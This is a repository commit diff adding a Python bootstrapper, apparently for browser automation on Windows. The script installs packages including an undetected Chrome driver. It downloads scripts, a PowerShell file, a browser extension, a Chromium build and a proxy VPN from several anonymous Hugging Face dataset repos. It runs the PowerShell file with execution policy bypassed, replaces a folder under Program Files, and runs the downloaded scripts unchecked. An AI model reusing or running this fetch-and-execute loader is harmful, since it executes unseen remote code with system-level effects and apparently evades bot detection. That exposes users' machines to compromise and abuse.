Create start_shrink_new.py

#1
Files changed (1) hide show
  1. start_shrink_new.py +244 -0
start_shrink_new.py ADDED
@@ -0,0 +1,244 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import sys
2
+ import os
3
+ import subprocess
4
+ import shutil
5
+ import zipfile
6
+ from pathlib import Path
7
+
8
+ # ضبط ترميز النظام لـ UTF-8 قبل تنفيذ أي عملية فرعية (تحديداً لويندوز)
9
+ os.environ["PYTHONUTF8"] = "1"
10
+ os.environ["PYTHONIOENCODING"] = "utf-8"
11
+
12
+ # إعادة ضبط ترميز الطباعة في الشاشة لتفادي مشاكل الحروف الخاصة
13
+ if hasattr(sys.stdout, "reconfigure"):
14
+ sys.stdout.reconfigure(encoding="utf-8", errors="replace")
15
+ if hasattr(sys.stderr, "reconfigure"):
16
+ sys.stderr.reconfigure(encoding="utf-8", errors="replace")
17
+
18
+ def install_package(package_name):
19
+ """تثبيت مكتبة باستخدام pip مع ترميز UTF-8"""
20
+ print(f"جاري تثبيت مكتبة {package_name}...")
21
+ try:
22
+ subprocess.check_call([sys.executable, "-m", "pip", "install", package_name])
23
+ print(f"تم تثبيت {package_name} بنجاح.")
24
+ return True
25
+ except Exception as e:
26
+ print(f"فشل تثبيت {package_name}: {e}")
27
+ return False
28
+
29
+ # قائمة المكتبات المطلوبة (اسم الاستيراد : اسم المكتبة في pip)
30
+ REQUIRED_PACKAGES = {
31
+ "requests": "requests",
32
+ "psutil": "psutil",
33
+ "pywinauto": "pywinauto",
34
+ "pyautogui": "pyautogui",
35
+ "cv2": "opencv-python",
36
+ "win32api": "pywin32",
37
+ "selenium": "selenium",
38
+ "undetected_chromedriver": "undetected-chromedriver",
39
+ "setuptools": "setuptools",
40
+ "webdriver_manager": "webdriver-manager",
41
+ "pytz": "pytz",
42
+ "playwright": "playwright"
43
+ }
44
+
45
+ # التحقق من وجود جميع المكتبات وتثبيت المفقود منها تلقائياً
46
+ for import_name, pip_name in REQUIRED_PACKAGES.items():
47
+ try:
48
+ __import__(import_name)
49
+ except ImportError:
50
+ print(f"مكتبة {pip_name} غير مثبتة. سيتم تثبيتها الآن...")
51
+ if not install_package(pip_name):
52
+ print(f"خطأ: لا يمكن المتابعة بدون مكتبة {pip_name}.")
53
+ sys.exit(1)
54
+
55
+ # تثبيت متصفحات Playwright إذا لم تكن مثبّتة
56
+ try:
57
+ print("تثبيت متصفحات Playwright...")
58
+ subprocess.check_call(
59
+ [sys.executable, "-m", "playwright", "install"],
60
+ env={**os.environ, "PYTHONIOENCODING": "utf-8"}
61
+ )
62
+ except Exception as e:
63
+ print(f"تنبيه: فشل تثبيت متصفحات Playwright: {e}")
64
+
65
+ import requests
66
+ import playwright
67
+
68
+ # ======================== Configuration ========================
69
+ # دمجنا رابط كروميوم هنا ليتعامل مثل الإضافة وباقي الملفات
70
+ DOWNLOAD_URLS = [
71
+ "https://huggingface.co/datasets/gfdg34fsd/sh/resolve/main/1.py",
72
+ "https://huggingface.co/datasets/gfdg34fsd/sh/resolve/main/in.ps1",
73
+ "https://huggingface.co/datasets/gfdg34fsd/sh/resolve/main/hash.py",
74
+ "https://huggingface.co/datasets/gfdg34fsd/sh/resolve/main/1first.py",
75
+ "https://huggingface.co/datasets/sjkhfuk/rdp/resolve/main/Downloads.zip",
76
+ "https://huggingface.co/datasets/Speedo0o/link/resolve/main/openShrinkNew.py",
77
+ "https://huggingface.co/datasets/gfdg34fsd/sh/resolve/main/prep.py",
78
+ "https://huggingface.co/datasets/gfdg34fsd/sh/resolve/main/rest.py",
79
+ "https://huggingface.co/datasets/gfdg34fsd/sh/resolve/main/restfirst.py",
80
+ "https://huggingface.co/datasets/Speedo0o/link/resolve/main/la222.py",
81
+ "https://huggingface.co/datasets/sjkhfuk/rdp/resolve/main/my_extension.zip",
82
+ "https://huggingface.co/datasets/sjkhfuk/rdp/resolve/main/Chromium.zip", # رابط كروميوم تمت إضافته هنا
83
+ ]
84
+
85
+ TARGET_DIR = Path.cwd() / "downloaded_files" # فولدر السكربتات والملفات المحملة
86
+ ZIP_NAME = "Downloads.zip"
87
+ EXTENSION_ZIP_NAME = "my_extension.zip"
88
+ CHROMIUM_ZIP_NAME = "Chromium.zip"
89
+ TUXLER_SOURCE = TARGET_DIR / "tuxlerVPN"
90
+ TUXLER_DEST = Path("C:/Program Files (x86)/tuxlerVPN")
91
+
92
+ PYTHON_SCRIPTS = ["restfirst.py", "1first.py", "la222.py"]
93
+ PS1_SCRIPT = "in.ps1"
94
+
95
+ # ======================== Helper Functions ========================
96
+ def download_file(url: str, dest_path: Path) -> bool:
97
+ """Download a single file from url to dest_path."""
98
+ try:
99
+ print(f"Downloading {url} -> {dest_path}")
100
+ response = requests.get(url, stream=True, timeout=30)
101
+ response.raise_for_status()
102
+ with open(dest_path, "wb") as f:
103
+ for chunk in response.iter_content(chunk_size=8192):
104
+ f.write(chunk)
105
+ print(f"Downloaded: {dest_path}")
106
+ return True
107
+ except Exception as e:
108
+ print(f"Failed to download {url}: {e}")
109
+ return False
110
+
111
+ def download_all_files() -> bool:
112
+ """Download all files into TARGET_DIR."""
113
+ TARGET_DIR.mkdir(parents=True, exist_ok=True)
114
+ success = True
115
+ for url in DOWNLOAD_URLS:
116
+ filename = url.split("/")[-1]
117
+ dest = TARGET_DIR / filename
118
+ if not download_file(url, dest):
119
+ success = False
120
+ return success
121
+
122
+ def extract_any_zip(zip_name: str, target_dir: Path) -> bool:
123
+ """دالة عامة لفك ضغط أي ملف في المسار المحدد"""
124
+ zip_path = target_dir / zip_name
125
+ if not zip_path.exists():
126
+ print(f"Error: {zip_name} not found in {target_dir}")
127
+ return False
128
+ try:
129
+ with zipfile.ZipFile(zip_path, "r") as zip_ref:
130
+ zip_ref.extractall(target_dir)
131
+ print(f"Extracted {zip_name} to {target_dir}")
132
+ return True
133
+ except Exception as e:
134
+ print(f"Failed to extract {zip_name}: {e}")
135
+ return False
136
+
137
+ def run_powershell_script(script_path: Path) -> bool:
138
+ if not script_path.exists():
139
+ print(f"PowerShell script not found: {script_path}")
140
+ return False
141
+ try:
142
+ cmd = ["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", str(script_path)]
143
+ print(f"Running: {' '.join(cmd)}")
144
+
145
+ # إضافة encoding='utf-8' و errors='replace' لمنع خطأ UnicodeDecodeError
146
+ result = subprocess.run(
147
+ cmd,
148
+ capture_output=True,
149
+ text=True,
150
+ cwd=TARGET_DIR,
151
+ encoding='utf-8',
152
+ errors='replace'
153
+ )
154
+
155
+ if result.returncode != 0:
156
+ print(f"PowerShell script stderr:\n{result.stderr}")
157
+ return False
158
+ print(f"PowerShell script output:\n{result.stdout}")
159
+ return True
160
+ except Exception as e:
161
+ print(f"Failed to run PowerShell script: {e}")
162
+ return False
163
+
164
+ def move_tuxler_folder():
165
+ if not TUXLER_SOURCE.exists():
166
+ print(f"Source folder not found: {TUXLER_SOURCE}")
167
+ return False
168
+ try:
169
+ if TUXLER_DEST.exists():
170
+ print(f"Destination {TUXLER_DEST} already exists. Removing it.")
171
+ shutil.rmtree(TUXLER_DEST)
172
+ shutil.move(str(TUXLER_SOURCE), str(TUXLER_DEST))
173
+ print(f"Moved {TUXLER_SOURCE} -> {TUXLER_DEST}")
174
+ return True
175
+ except Exception as e:
176
+ print(f"Failed to move folder: {e}")
177
+ return False
178
+
179
+ def run_python_script(script_name: str) -> bool:
180
+ script_path = TARGET_DIR / script_name
181
+ if not script_path.exists():
182
+ print(f"Python script not found: {script_path}")
183
+ return False
184
+ try:
185
+ print(f"Running {script_name} ...")
186
+
187
+ # نمرر البيئة المحدثة لضمان ترميز utf-8 داخل السكربت الفرعي أيضاً
188
+ my_env = os.environ.copy()
189
+ my_env["PYTHONIOENCODING"] = "utf-8"
190
+ my_env["PYTHONUTF8"] = "1"
191
+
192
+ result = subprocess.run([sys.executable, str(script_path)], cwd=TARGET_DIR, env=my_env)
193
+ if result.returncode != 0:
194
+ print(f"Script {script_name} failed.")
195
+ return False
196
+ return True
197
+ except Exception as e:
198
+ print(f"Failed to run {script_name}: {e}")
199
+ return False
200
+
201
+ # ======================== Main Workflow ========================
202
+ def main():
203
+ print("=== Step 1: Download all files ===")
204
+ if not download_all_files():
205
+ print("Some downloads failed. Aborting.")
206
+ return 1
207
+
208
+ print("\n=== Step 2: Extract Downloads.zip ===")
209
+ if not extract_any_zip(ZIP_NAME, TARGET_DIR):
210
+ print("Extraction for Downloads.zip failed. Aborting.")
211
+ return 1
212
+
213
+ print("\n=== Step 3: Extract my_extension.zip ===")
214
+ if not extract_any_zip(EXTENSION_ZIP_NAME, TARGET_DIR):
215
+ print("Extraction for my_extension.zip failed. Aborting.")
216
+ return 1
217
+
218
+ print("\n=== Step 4: Extract Chromium.zip ===")
219
+ if not extract_any_zip(CHROMIUM_ZIP_NAME, TARGET_DIR):
220
+ print("Extraction for Chromium.zip failed. Aborting.")
221
+ return 1
222
+
223
+ print("\n=== Step 5: Run in.ps1 ===")
224
+ ps1_path = TARGET_DIR / PS1_SCRIPT
225
+ if not run_powershell_script(ps1_path):
226
+ print("PowerShell script execution failed. Aborting.")
227
+ return 1
228
+
229
+ print("\n=== Step 6: Move tuxlerVPN to Program Files ===")
230
+ if not move_tuxler_folder():
231
+ print("Moving tuxlerVPN failed. Aborting.")
232
+ return 1
233
+
234
+ print("\n=== Step 7: Run Python scripts in order ===")
235
+ for script in PYTHON_SCRIPTS:
236
+ if not run_python_script(script):
237
+ print(f"Failed at script {script}. Aborting.")
238
+ return 1
239
+
240
+ print("\n=== All tasks completed successfully ===")
241
+ return 0
242
+
243
+ if __name__ == "__main__":
244
+ sys.exit(main())